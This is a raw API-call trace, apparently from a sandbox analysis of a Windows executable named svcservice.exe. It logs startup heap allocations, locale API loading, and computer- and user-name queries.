[0211.413] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x80) returned 0x6af950
[0211.413] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18f7a8, nSize=0x105 | out: lpFilename="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\telemetry\\svcservice.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\telemetry\\svcservice.exe")) returned 0x3e
[0211.413] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x800) returned 0x76ce0000
[0211.413] GetProcAddress (hModule=0x76ce0000, lpProcName="AreFileApisANSI") returned 0x76cff300
[0211.413] AreFileApisANSI () returned 1
[0211.413] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\telemetry\\svcservice.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 63
[0211.413] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\telemetry\\svcservice.exe", cchWideChar=-1, lpMultiByteStr=0x121b928, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\telemetry\\svcservice.exe", lpUsedDefaultChar=0x0) returned 63
[0211.413] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x47) returned 0x6af0f0
[0211.413] RtlInitializeSListHead (in: ListHead=0x121b3d0 | out: ListHead=0x121b3d0)
[0211.413] GetLastError () returned 0x0
[0211.413] SetLastError (dwErrCode=0x0)
[0211.413] GetEnvironmentStringsW () returned 0x6b9c48*
[0211.413] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="=::=::\\", cchWideChar=1379, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1379
[0211.413] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x563) returned 0x6b92a8
[0211.413] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="=::=::\\", cchWideChar=1379, lpMultiByteStr=0x6b92a8, cbMultiByte=1379, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="=::=::\\", lpUsedDefaultChar=0x0) returned 1379
[0211.414] FreeEnvironmentStringsW (penv=0x6b9c48) returned 1
[0211.414] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x94) returned 0x6b21d0
[0211.414] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x1f) returned 0x6aac08
[0211.414] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x2e) returned 0x6afc38
[0211.414] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x37) returned 0x6b58e8
[0211.414] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x3c) returned 0x6b26b8
[0211.414] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x31) returned 0x6b58a8
[0211.414] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x14) returned 0x6aa388
[0211.414] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x24) returned 0x6b1d80
[0211.414] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0xd) returned 0x6ba970
[0211.414] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x1d) returned 0x6aad48
[0211.414] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x31) returned 0x6b5928
[0211.414] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x15) returned 0x6b9d18
[0211.414] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x17) returned 0x6b9cb8
[0211.414] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0xe) returned 0x6ba8b0
[0211.414] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0xa2) returned 0x6b2e30
[0211.414] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x3e) returned 0x6b2b80
[0211.414] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x1b) returned 0x6aaaa0
[0211.414] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x1d) returned 0x6aac30
[0211.414] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x49) returned 0x6af780
[0211.414] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x12) returned 0x6b9eb8
[0211.414] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x18) returned 0x6b9d98
[0211.414] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x1b) returned 0x6aaa28
[0211.414] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x24) returned 0x6aeec8
[0211.414] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x29) returned 0x6afd18
[0211.414] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x1e) returned 0x6aad70
[0211.414] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x6b) returned 0x6b0338
[0211.414] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x17) returned 0x6b9db8
[0211.414] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x14) returned 0x6b9f98
[0211.414] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0xf) returned 0x6ba9a0
[0211.414] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x16) returned 0x6b9f78
[0211.414] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x2a) returned 0x6afdc0
[0211.414] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x29) returned 0x6afb58
[0211.414] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x12) returned 0x6b9fb8
[0211.414] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x21) returned 0x6aeef8
[0211.415] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x16) returned 0x6b9cd8
[0211.415] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x22) returned 0x6bc600
[0211.415] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x12) returned 0x6b9e98
[0211.415] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b92a8 | out: hHeap=0x6a0000) returned 1
[0211.415] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x800) returned 0x6bc950
[0211.415] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1
[0211.415] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x11f0fb8) returned 0x0
[0211.416] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x50) returned 0x6add20
[0211.416] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6aaa00
[0211.416] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x120) returned 0x6a6bc0
[0211.416] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6aaa50
[0211.416] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6aaa00 | out: hHeap=0x6a0000) returned 1
[0211.426] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x18f6e8 | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming") returned 0x0
[0211.464] GetCurrentProcess () returned 0xffffffff
[0211.465] GetCurrentProcess () returned 0xffffffff
[0211.478] GetCurrentProcess () returned 0xffffffff
[0211.479] GetCurrentProcess () returned 0xffffffff
[0211.535] GetCurrentProcess () returned 0xffffffff
[0211.536] GetCurrentProcess () returned 0xffffffff
[0211.546] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x30) returned 0x6bd1f8
[0211.546] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x30) returned 0x6bd348
[0211.546] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x40) returned 0x6b2c10
[0211.546] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x18f5e4, nSize=0x104 | out: lpFilename="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\telemetry\\svcservice.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\telemetry\\svcservice.exe")) returned 0x3e
[0211.546] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x40) returned 0x6b2a18
[0211.546] GetComputerNameA (in: lpBuffer=0x18f7ec, nSize=0x18f5e0 | out: lpBuffer="XC64ZB", nSize=0x18f5e0) returned 1
[0211.548] GetUserNameA (in: lpBuffer=0x18f8ec, pcbBuffer=0x18f5e0 | out: lpBuffer="\x0f", pcbBuffer=0x18f5e0) returned 0
[0211.557] GetCurrentProcess () returned 0xffffffff
[0211.558] GetCurrentProcess () returned 0xffffffff
[0211.585] LoadLibraryExW (lpLibFileName="api-ms-win-core-string-l1-1-0", hFile=0x0, dwFlags=0x800) returned 0x768b0000
[0211.585] GetProcAddress (hModule=0x768b0000, lpProcName="CompareStringEx") returned 0x76966140
[0211.585] GetProcAddress (hModule=0x768b0000, lpProcName="EnumSystemLocalesEx") returned 0x769779d0
[0211.586] LoadLibraryExW (lpLibFileName="api-ms-win-core-datetime-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x768b0000
[0211.586] GetProcAddress (hModule=0x768b0000, lpProcName="GetDateFormatEx") returned 0x769c34d0
[0211.586] GetProcAddress (hModule=0x768b0000, lpProcName="GetLocaleInfoEx") returned 0x76956610
[0211.586] GetProcAddress (hModule=0x768b0000, lpProcName="GetTimeFormatEx") returned 0x769c37a0
[0211.586] GetProcAddress (hModule=0x768b0000, lpProcName="GetUserDefaultLocaleName") returned 0x7694cd10
[0211.586] GetProcAddress (hModule=0x768b0000, lpProcName="IsValidLocaleName") returned 0x76974bf0
[0211.586] LoadLibraryExW (lpLibFileName="api-ms-win-core-localization-obsolete-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x768b0000
[0211.586] GetProcAddress (hModule=0x768b0000, lpProcName="LCIDToLocaleName") returned 0x76966fc0
[0211.586] GetProcAddress (hModule=0x768b0000, lpProcName="LocaleNameToLCID") returned 0x76967de0
[0211.586] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6be138
[0211.586] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x2) returned 0x6af140
[0211.586] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6af140 | out: hHeap=0x6a0000) returned 1
[0211.586] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x2) returned 0x6af140
[0211.587] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6ba7f0
[0211.587] GetLastError () returned 0x7a
[0211.587] SetLastError (dwErrCode=0x7a)
[0211.587] GetLastError () returned 0x7a
[0211.587] SetLastError (dwErrCode=0x7a)
[0211.587] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0xb8) returned 0x6b23c0
[0211.587] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x6a6) returned 0x6bf508
[0211.587] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6bf508 | out: hHeap=0x6a0000) returned 1
[0211.587] GetLastError () returned 0x7a
[0211.587] SetLastError (dwErrCode=0x7a)
[0211.587] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x6) returned 0x6a5c68
[0211.587] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x2) returned 0x6b2480
[0211.587] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x4) returned 0x6aefb0
[0211.587] GetLastError () returned 0x7a
[0211.587] SetLastError (dwErrCode=0x7a)
[0211.587] GetLastError () returned 0x7a
[0211.587] SetLastError (dwErrCode=0x7a)
[0211.587] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0xb8) returned 0x6b8100
[0211.588] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x6a6) returned 0x6bf508
[0211.588] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6bf508 | out: hHeap=0x6a0000) returned 1
[0211.588] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6a5c68 | out: hHeap=0x6a0000) returned 1
[0211.588] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b23c0 | out: hHeap=0x6a0000) returned 1
[0211.588] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6aefb0 | out: hHeap=0x6a0000) returned 1
[0211.588] GetLastError () returned 0x7a
[0211.588] SetLastError (dwErrCode=0x7a)
[0211.588] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x6) returned 0x6a5c68
[0211.588] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x2) returned 0x6aefb0
[0211.588] GetLastError () returned 0x7a
[0211.588] SetLastError (dwErrCode=0x7a)
[0211.588] GetLastError () returned 0x7a
[0211.588] SetLastError (dwErrCode=0x7a)
[0211.588] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x4) returned 0x6add78
[0211.588] GetLastError () returned 0x7a
[0211.588] SetLastError (dwErrCode=0x7a)
[0211.588] GetLastError () returned 0x7a
[0211.588] SetLastError (dwErrCode=0x7a)
[0211.588] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0xb8) returned 0x6b23c0
[0211.588] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x6a6) returned 0x6bf508
[0211.589] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6bf508 | out: hHeap=0x6a0000) returned 1
[0211.589] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6a5c68 | out: hHeap=0x6a0000) returned 1
[0211.589] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b8100 | out: hHeap=0x6a0000) returned 1
[0211.589] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6add78 | out: hHeap=0x6a0000) returned 1
[0211.589] GetLastError () returned 0x7a
[0211.589] SetLastError (dwErrCode=0x7a)
[0211.589] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x6) returned 0x6a5c68
[0211.589] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6aefb0 | out: hHeap=0x6a0000) returned 1
[0211.589] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b2480 | out: hHeap=0x6a0000) returned 1
[0211.589] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x8) returned 0x6b2480
[0211.589] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6b9fd8
[0211.589] GetLastError () returned 0x7a
[0211.589] SetLastError (dwErrCode=0x7a)
[0211.589] GetLastError () returned 0x7a
[0211.589] SetLastError (dwErrCode=0x7a)
[0211.589] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0xb8) returned 0x6b8100
[0211.590] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x6a6) returned 0x6bf508
[0211.590] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6bf508 | out: hHeap=0x6a0000) returned 1
[0211.590] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6a5c68 | out: hHeap=0x6a0000) returned 1
[0211.590] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b23c0 | out: hHeap=0x6a0000) returned 1
[0211.590] GetLastError () returned 0x7a
[0211.590] SetLastError (dwErrCode=0x7a)
[0211.590] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x6) returned 0x6a5c68
[0211.590] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x2) returned 0x6aefb0
[0211.590] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x4) returned 0x6add78
[0211.590] GetLastError () returned 0x7a
[0211.590] SetLastError (dwErrCode=0x7a)
[0211.590] GetLastError () returned 0x7a
[0211.590] SetLastError (dwErrCode=0x7a)
[0211.590] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0xb8) returned 0x6b23c0
[0211.590] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x6a6) returned 0x6bf508
[0211.590] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6bf508 | out: hHeap=0x6a0000) returned 1
[0211.591] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6a5c68 | out: hHeap=0x6a0000) returned 1
[0211.591] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b8100 | out: hHeap=0x6a0000) returned 1
[0211.591] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6add78 | out: hHeap=0x6a0000) returned 1
[0211.591] GetLastError () returned 0x7a
[0211.591] SetLastError (dwErrCode=0x7a)
[0211.591] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x6) returned 0x6bf590
[0211.591] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x2) returned 0x6bf6c0
[0211.591] GetLastError () returned 0x7a
[0211.591] SetLastError (dwErrCode=0x7a)
[0211.591] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x200) returned 0x6bf710
[0211.591] GetLastError () returned 0x7a
[0211.591] SetLastError (dwErrCode=0x7a)
[0211.591] GetLastError () returned 0x7a
[0211.591] SetLastError (dwErrCode=0x7a)
[0211.591] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x4) returned 0x6bf620
[0211.591] GetLastError () returned 0x7a
[0211.591] SetLastError (dwErrCode=0x7a)
[0211.591] GetLastError () returned 0x7a
[0211.591] SetLastError (dwErrCode=0x7a)
[0211.591] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0xb8) returned 0x6b8100
[0211.591] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x6a6) returned 0x6bf918
[0211.592] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6bf918 | out: hHeap=0x6a0000) returned 1
[0211.592] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6bf590 | out: hHeap=0x6a0000) returned 1
[0211.592] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b23c0 | out: hHeap=0x6a0000) returned 1
[0211.592] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6bf620 | out: hHeap=0x6a0000) returned 1
[0211.592] GetLastError () returned 0x7a
[0211.592] SetLastError (dwErrCode=0x7a)
[0211.592] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x6) returned 0x6bf530
[0211.592] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6bf6c0 | out: hHeap=0x6a0000) returned 1
[0211.592] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6aefb0 | out: hHeap=0x6a0000) returned 1
[0211.592] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x8) returned 0x6bf570
[0211.592] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x24) returned 0x6bc8d0
[0211.592] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6b9d38
[0211.592] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6b9ff8
[0211.592] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6be110
[0211.592] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6baaf0
[0211.592] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x2c) returned 0x6bd738
[0211.592] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6be0c0
[0211.592] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6b9ed8
[0211.592] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x28) returned 0x6bc690
[0211.592] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6b9d78
[0211.592] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6b9df8
[0211.593] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6bde90
[0211.593] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6b9e38
[0211.593] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6b9e78
[0211.593] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x30) returned 0x6bd770
[0211.593] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x24) returned 0x6bc720
[0211.593] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6b9ef8
[0211.593] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6b9f18
[0211.593] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6be098
[0211.593] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6bab08
[0211.593] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x2c) returned 0x6bd2d8
[0211.593] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6bdfa8
[0211.593] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6b9f38
[0211.593] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x28) returned 0x6bc660
[0211.593] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6ba018
[0211.593] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6b9f58
[0211.593] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6bdeb8
[0211.593] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6ba038
[0211.593] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6ba058
[0211.593] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x30) returned 0x6bd380
[0211.593] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x24) returned 0x6bc750
[0211.593] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6b9c78
[0211.593] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6ba358
[0211.593] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6bdee0
[0211.593] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6baac0
[0211.593] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x2c) returned 0x6bd1c0
[0211.593] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6be0e8
[0211.593] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6ba2f8
[0211.593] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x28) returned 0x6bc5a0
[0211.594] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6ba1f8
[0211.594] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6ba378
[0211.594] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6bdf30
[0211.594] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6ba3b8
[0211.594] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6ba398
[0211.594] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x30) returned 0x6bd5e8
[0211.594] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x24) returned 0x6bc570
[0211.594] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6ba258
[0211.594] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6ba3d8
[0211.594] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6bdf08
[0211.594] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6baa78
[0211.594] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x2c) returned 0x6bd7a8
[0211.594] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6bdf58
[0211.594] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6ba278
[0211.594] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x28) returned 0x6bc5d0
[0211.594] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6ba118
[0211.594] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6ba3f8
[0211.594] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6bdf80
[0211.594] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6ba298
[0211.594] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6ba098
[0211.594] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x30) returned 0x6bd508
[0211.594] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x24) returned 0x6bc6c0
[0211.594] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6ba078
[0211.595] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6ba218
[0211.595] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6bdfd0
[0211.595] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6baa60
[0211.595] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x2c) returned 0x6bd620
[0211.595] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6bdff8
[0211.595] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6ba0d8
[0211.595] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x28) returned 0x6bc780
[0211.595] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6ba2b8
[0211.595] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6ba418
[0211.595] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6be020
[0211.595] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6ba318
[0211.595] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6ba0b8
[0211.596] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x30) returned 0x6bd690
[0211.596] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x24) returned 0x6bc870
[0211.596] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6ba0f8
[0211.596] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6ba138
[0211.596] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6bdc60
[0211.596] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6baa90
[0211.596] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x2c) returned 0x6bd4d0
[0211.596] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6bdaa8
[0211.596] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6ba1d8
